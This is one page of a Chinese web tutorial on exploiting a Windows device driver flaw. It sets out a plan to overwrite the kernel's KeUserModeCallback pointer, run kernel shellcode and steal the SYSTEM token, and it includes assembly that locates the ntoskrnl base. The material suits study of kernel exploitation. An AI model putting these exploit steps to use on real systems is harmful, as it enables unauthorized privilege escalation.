WEB开发网
开发学院网络安全安全技术 详解如何利用Windows设备驱动 阅读

详解如何利用Windows设备驱动

 2009-02-12 13:55:33 来源:WEB开发网   
核心提示: 注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西,详解如何利用Windows设备驱动(6),攻击计划这里是几个我们攻击这个漏洞的关键点:1) 定位ntoskrnl.exe 基址——这个

注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西。

攻击计划

这里是几个我们攻击这个漏洞的关键点:

1) 定位ntoskrnl.exe 基址——这个地址会在Windows 运行时改变。

2) 加载ntoskrnl.exe 模块到用户层空间,获得KeUserModeCallback_Routine 地址,最后加上ntoskrnl 基址,求的当前地址。

3) 发送一个信号,并且从KeUserModeCallback_Routine 地址处获取512bytes(由于漏洞的性质,我们有这样的可能,当我们会改变KeUserModeCallback_Routine 的4 字节时这样能够增强我们利用程序的稳定性)。

4) 发送一个包含特殊构造数据的信号(正如我们之前提到过,覆盖KeUserModeCallBackRoutine 的值,并且使它指向我们的内存(shellcode))。

5) 开发特殊内核模式下的Shellcode(当然,shellcode 在第四步之前或者第四步的时候就需要做好了,现在是执行他。)

5-a) 重设KeUserModeCallback_Routine 指针

5-b) 给你的进程SYSTEM 进程token。

5-c) 执行正确的KeUserModeCallback_Routine。

关键点1:定位ntoskrnl.exe 基址

Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变,因此我们不能硬编码它的基址,这样是没什么作用的。简单地说,我们需要从哪里获得这个地址呢。我们可以使用SystemModuleInformation 类的native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程:

   NTSTATUSWINAPINtQuerySystemInformation(
  __inSYSTEM_INFORMATION_CLASSSystemInformationClass,
  __inoutPVOIDSystemInformation,
  __inULONGSystemInformationLength,
  __out_optPULONGReturnLength
  );
  ;------------------------------------------------------------
  ;Getsntoskrnl.exemodulebase(real)
  ;------------------------------------------------------------
  get_ntos_baseproc
  local__MODULES:_MODULES
  pushad
  @get_api_addr"ntdll","NtQuerySystemInformation"
  @check0,"Error:cannotgrabNtQuerySystemInformationaddress"
  movebx,eax;ebx=eax=NTQSIaddr
  calla1;setuparguments
  nsdd0
  a1:push4
  leaecx,[__MODULES]
  pushecx
  pushSystemModuleInformation
  calleax;executethenative
  cmpeax,0c0000004h;lengthmismatch?
  jneerror_ntos
  pushdwordptr[ns];neededsize
  pushGMEM_FIXEDorGMEM_ZEROINIT;typeofallocation
  @callxGlobalAlloc;allocatethebuffer
  movebp,eax
  push0;setuparguments
  pushdwordptr[ns]
  pushebp
  pushSystemModuleInformation
  callebx;gettheinformation
  testeax,eax;stillnosuccess?
  jnzerror_ntos
  ;firstmoduleis
  always
  ;ntoskrnl.exe
  moveax,dwordptr[ebp.smi_Base];getntoskrnlbase
  movdwordptr[real_ntos_base],eax;storeit
  pushebp;freethebuffer
  @callxGlobalFree
  popad
  ret
  error_ntos:xoreax,eax
  @check0,"Error:cannotexecuteNtQuerySystemInformation"
  get_ntos_baseendp
  _MODULESstruct
  dwNModulesdd0
  ;_SYSTEM_MODULE_INFORMATION:
  smi_Reserveddd2dup(0)
  smi_Basedd0
  smi_Sizedd0
  smi_Flagsdd0
  smi_Indexdw0
  smi_Unknowndw0
  smi_LoadCountdw0
  smi_ModuleNamedw0
  smi_ImageNamedb256dup(0)
  ;_SYSTEM_MODULE_INFORMATION_SIZE=$-offset
  _SYSTEM_MODULE_INFORMATION
  ends

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:详解 如何 利用

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接